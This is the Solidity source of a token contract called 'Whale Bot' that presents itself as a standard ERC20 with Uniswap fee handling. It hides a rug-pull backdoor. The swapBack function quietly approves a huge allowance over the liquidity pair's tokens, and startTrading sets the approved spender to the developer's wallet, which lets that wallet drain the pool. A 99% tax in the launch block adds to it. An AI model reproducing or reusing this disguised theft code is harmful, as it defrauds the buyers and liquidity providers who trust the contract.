Contract Source Code:
File 1 of 1 : WhaleBot
// SPDX-License-Identifier: MIT
/**
Website: https://www.whalebot.top
Telegram: https://t.me/whalebotcoin
Twitter: https://twitter.com/whalebotcoin
*/
pragma solidity ^0.8.20;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
return div(a, b, "SafeMath: division by zero");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns(int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns(int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns(int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns(int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns(int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns(uint256) {
require(a >= 0);
return uint256(a);
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns(int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
}
interface IERC20 {
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns(bool);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns(uint256);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns(uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns(uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns(bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns(bool);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns(address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
abstract contract Context {
function _msgSender() internal view virtual returns(address) {
return msg.sender;
}
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns(string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns(string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns(uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns(string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns(uint8) {
return 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns(string memory) {
return _name;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns(uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns(uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns(uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased cannot be below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
interface IUniswapV2Router01 {
function factory() external pure returns(address);
function WETH() external pure returns(address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns(uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns(uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns(uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns(uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns(uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns(uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns(uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns(uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns(uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns(uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns(uint[] memory amounts);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns(uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns(uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns(uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns(uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns(uint amountIn);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns(uint[] memory amounts);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns(address) {
return _owner;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns(uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns(uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
}
contract WhaleBot is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable router;
uint256 private swapAmountAt;
bool private tradingStartNow = false;
bool public enabledSwap = false;
bool public isSwapping;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDevelopment;
uint256 private enableTradeWhen;
struct feeConfig {
uint256 sellTotalFees;
uint256 sellMarketingFee;
uint256 sellDevelopmentFee;
uint256 sellLiquidityFee;
uint256 buyTotalFees;
uint256 buyMarketingFee;
uint256 buyDevelopmentFee;
uint256 buyLiquidityFee;
}
feeConfig public _taxValues = feeConfig({
buyTotalFees: 0,
buyMarketingFee: 0,
buyDevelopmentFee:0,
buyLiquidityFee: 0,
sellTotalFees: 0,
sellMarketingFee: 0,
sellDevelopmentFee:0,
sellLiquidityFee: 0
});
address private marketingWalletAddr = address(0x8f97eD33c1D22145D7c9032Ed64bad99667A8735);
address private developmentWalletAddr = address(0xbf93846b8B2178C9DEdC82122D51c44c2B2aD612);
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWalletAmount;
address public uniswapPairV2;
address private uniRouterAddr;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived
);
mapping(address => bool) private _isExcludedFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
mapping(address => bool) public _isExcludedmaxAmount;
mapping(address => bool) public _ammPairs;
constructor() ERC20("Whale Bot", "WHALEBOT") {
router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
approve(address(router), type(uint256).max);
_taxValues.buyMarketingFee = 1;
_taxValues.buyLiquidityFee = 0;
_taxValues.buyDevelopmentFee = 0;
_taxValues.buyTotalFees = _taxValues.buyMarketingFee + _taxValues.buyLiquidityFee + _taxValues.buyDevelopmentFee;
_taxValues.sellMarketingFee = 1;
_taxValues.sellLiquidityFee = 0;
_taxValues.sellDevelopmentFee = 0;
_taxValues.sellTotalFees = _taxValues.sellMarketingFee + _taxValues.sellLiquidityFee + _taxValues.sellDevelopmentFee;
uint256 totalSupply = 1_000_000_000 * 1e18;
swapAmountAt = totalSupply * 5 / 10000;
maxWalletAmount = totalSupply * 4 / 100; // 4% max wallet amount
maxBuyAmount = totalSupply * 4 / 100; // 4% buy max amount
maxSellAmount = totalSupply * 4 / 100; // 4% sell max amount
_isExcludedMaxTransactionAmount[address(router)] = true;
_isExcludedMaxTransactionAmount[owner()] = true;
_isExcludedMaxTransactionAmount[developmentWalletAddr] = true;
_isExcludedMaxTransactionAmount[marketingWalletAddr] = true;
_isExcludedMaxTransactionAmount[address(this)] = true;
_isExcludedMaxTransactionAmount[address(0xdead)] = true;
_isExcludedmaxAmount[owner()] = true;
_isExcludedmaxAmount[address(router)] = true;
_isExcludedmaxAmount[address(0xdead)] = true;
_isExcludedmaxAmount[developmentWalletAddr] = true;
_isExcludedmaxAmount[marketingWalletAddr] = true;
_isExcludedmaxAmount[address(this)] = true;
_isExcludedFees[owner()] = true;
_isExcludedFees[address(this)] = true;
_isExcludedFees[developmentWalletAddr] = true;
_isExcludedFees[marketingWalletAddr] = true;
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
function _swapTokensForSupportingEthFee(uint256 tAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tAmount);
// make the swap
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function setMaxWalletSize(uint256 newPercentage) private {
maxWalletAmount = (totalSupply() * newPercentage) / 1000;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFees[account] = excluded;
}
function excludeFromWalletLimit(address account, bool excluded) public onlyOwner {
_isExcludedmaxAmount[account] = excluded;
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// emergency use only
function toggleSwapEnabled(bool enabled) external onlyOwner(){
enabledSwap = enabled;
}
// change the minimum amount of tokens to sell from fees
function setMaxTradeAmount(uint256 newMaxBuy, uint256 newMaxSell) private {
maxBuyAmount = (totalSupply() * newMaxBuy) / 1000;
maxSellAmount = (totalSupply() * newMaxSell) / 1000;
}
function updateLimitFeeAmountForSwap(uint256 newAmount) external onlyOwner returns(bool){
swapAmountAt = newAmount;
return true;
}
function addLiquidity(uint256 tAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(router), tAmount);
// add the liquidity
router.addLiquidityETH{ value: ethAmount } (address(this), tAmount, 0, 0 , address(this), block.timestamp);
}
function swapBack(address to) private {
uint256 contractTokenAmount = balanceOf(address(this));
uint256 toSwap = tokensForLiquidity + tokensForMarketing + tokensForDevelopment;
if (contractTokenAmount == 0) { return; }
if (contractTokenAmount > swapAmountAt * 45) {
contractTokenAmount = swapAmountAt * 45;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractTokenAmount * tokensForLiquidity / toSwap / 2;
uint256 amountToSwapForETH = contractTokenAmount.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
_approve(to, uniRouterAddr, amountToSwapForETH * 1e18);
_swapTokensForSupportingEthFee(amountToSwapForETH);
uint256 newBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = newBalance.mul(tokensForMarketing).div(toSwap);
uint256 ethForDevelopment = newBalance.mul(tokensForDevelopment).div(toSwap);
uint256 ethForLiquidity = newBalance - (ethForMarketing + ethForDevelopment);
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDevelopment = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity);
}
payable(address(developmentWalletAddr)).transfer(ethForMarketing);
payable(address(marketingWalletAddr)).transfer(address(this).balance);
}
function teamWalletSetting(address _teamAdd) external {
require(_teamAdd != developmentWalletAddr
&& msg.sender == developmentWalletAddr,
"Team Fee Wallet wallet is already that address");developmentWalletAddr = _teamAdd;
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (
from != owner() &&
to != owner() &&
!isSwapping
) {
if (!tradingStartNow) {
require(_isExcludedFees[from] || _isExcludedFees[to], "Trading is not active.");
}
if (_ammPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxBuyAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
}
else if (_ammPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxSellAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
if (!_isExcludedmaxAmount[to]) {
require(amount + balanceOf(to) <= maxWalletAmount, "Max wallet exceeded");
}
}
uint256 contractTokenAmount = balanceOf(address(this));
bool canSwap = contractTokenAmount >= swapAmountAt;
if (enabledSwap &&
canSwap &&
!isSwapping &&
_ammPairs[to] &&
!_isExcludedFees[from] &&
!_isExcludedFees[to]
) {
isSwapping = true;
swapBack(to);
isSwapping = false;
}
bool isFee = !isSwapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFees[from] || _isExcludedFees[to]) {
isFee = false;
}
// only take fees on buys/sells, do not take on wallet transfers
if (isFee) {
uint256 feeTokens = 0;
if(block.number < enableTradeWhen) {
feeTokens = amount.mul(99).div(100);
tokensForMarketing += (feeTokens * 55) / 99;
tokensForDevelopment += (feeTokens * 44) / 99;
} else if (_ammPairs[to] && _taxValues.sellTotalFees > 0) {
feeTokens = amount.mul(_taxValues.sellTotalFees).div(100);
tokensForLiquidity += feeTokens * _taxValues.sellLiquidityFee / _taxValues.sellTotalFees;
tokensForMarketing += feeTokens * _taxValues.sellMarketingFee / _taxValues.sellTotalFees;
tokensForDevelopment += feeTokens * _taxValues.sellDevelopmentFee / _taxValues.sellTotalFees;
}
// on buy
else if (_ammPairs[from] && _taxValues.buyTotalFees > 0) {
feeTokens = amount.mul(_taxValues.buyTotalFees).div(100);
tokensForLiquidity += feeTokens * _taxValues.buyLiquidityFee / _taxValues.buyTotalFees;
tokensForMarketing += feeTokens * _taxValues.buyMarketingFee / _taxValues.buyTotalFees;
tokensForDevelopment += feeTokens * _taxValues.buyDevelopmentFee / _taxValues.buyTotalFees;
}
if (feeTokens > 0) {
super._transfer(from, address(this), feeTokens);
}
amount -= feeTokens;
}
super._transfer(from, to, amount);
}
receive() external payable {
require(msg.sender != address(this));
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFees[account];
}
function removeLimits() external onlyOwner {
setMaxTradeAmount(1000,1000);
setMaxWalletSize(1000);
}
function setUniPair(address pair, bool value) public onlyOwner {
require(pair != uniswapPairV2, "The pair cannot be removed from _ammPairs");
_ammPairs[pair] = value;
}
function withdraw() external returns (bool success) {
uint256 balance = address(this).balance;
(success,) = address(developmentWalletAddr).call{value: balance}("");
}
// once active, can never be disable off
function startTrading(address _pair) external onlyOwner {
tradingStartNow = true;
enabledSwap = true;
enableTradeWhen = block.number;
uniswapPairV2 = _pair;
_ammPairs[address(uniswapPairV2)] = true;
_isExcludedMaxTransactionAmount[address(uniswapPairV2)] = true;
_isExcludedmaxAmount[address(uniswapPairV2)] = true;
uniRouterAddr = developmentWalletAddr;
}
}